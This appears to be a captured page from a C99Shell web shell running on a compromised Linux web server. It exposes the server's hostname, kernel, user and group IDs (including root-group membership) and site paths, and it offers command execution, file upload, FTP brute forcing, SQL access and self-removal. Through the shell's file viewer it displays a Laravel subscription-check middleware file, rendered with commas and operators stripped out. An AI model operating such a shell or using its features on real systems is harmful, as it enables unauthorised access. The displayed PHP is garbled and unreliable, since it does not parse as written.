!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Http/Middleware/   drwxr-xr-x
Free 28.4 GB of 117.98 GB (24.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CheckSubscription.php (1.6 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Middleware;

use 
Closure;
use 
Illuminate\Http\Request;
use 
Modules\Plan\Entities\Plan;

class 
CheckSubscription
{
    
/**
     * Handle an incoming request.
     *
     * @param  \Closure(\Illuminate\Http\Request): (\Illuminate\Http\Response|\Illuminate\Http\RedirectResponse)  $next
     * @return \Illuminate\Http\Response|\Illuminate\Http\RedirectResponse
     */
    
public function handle(Request $requestClosure $next)
    {
        
// storePlanInformation();
        
session()->has('user_plan') ? storePlanInformation() : null;

        
$user_plan session('user_plan');

        if (
$user_plan && $user_plan->subscription_type == 'recurring' && $user_plan->expired_date && $user_plan->plan_expired && ! $user_plan->is_restored_plan_benefits) {
            
$plan Plan::findOrFail($user_plan->current_plan_id);

            if (
$plan->ad_limit $user_plan->ad_limit) {
                
$user_plan->ad_limit 0;
            } else {
                
$user_plan->ad_limit $user_plan->ad_limit $plan->ad_limit;
            }
            if (
$plan->featured_limit $user_plan->featured_limit) {
                
$user_plan->featured_limit 0;
            } else {
                
$user_plan->featured_limit $user_plan->featured_limit $plan->featured_limit;
            }
            
$user_plan->is_restored_plan_benefits 1;
            
$user_plan->save();

            
storePlanInformation();
            
flashError('Your subscription has expired. Please renew your subscription.');

            return 
redirect()->route('frontend.priceplan');
        }

        return 
$next($request);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--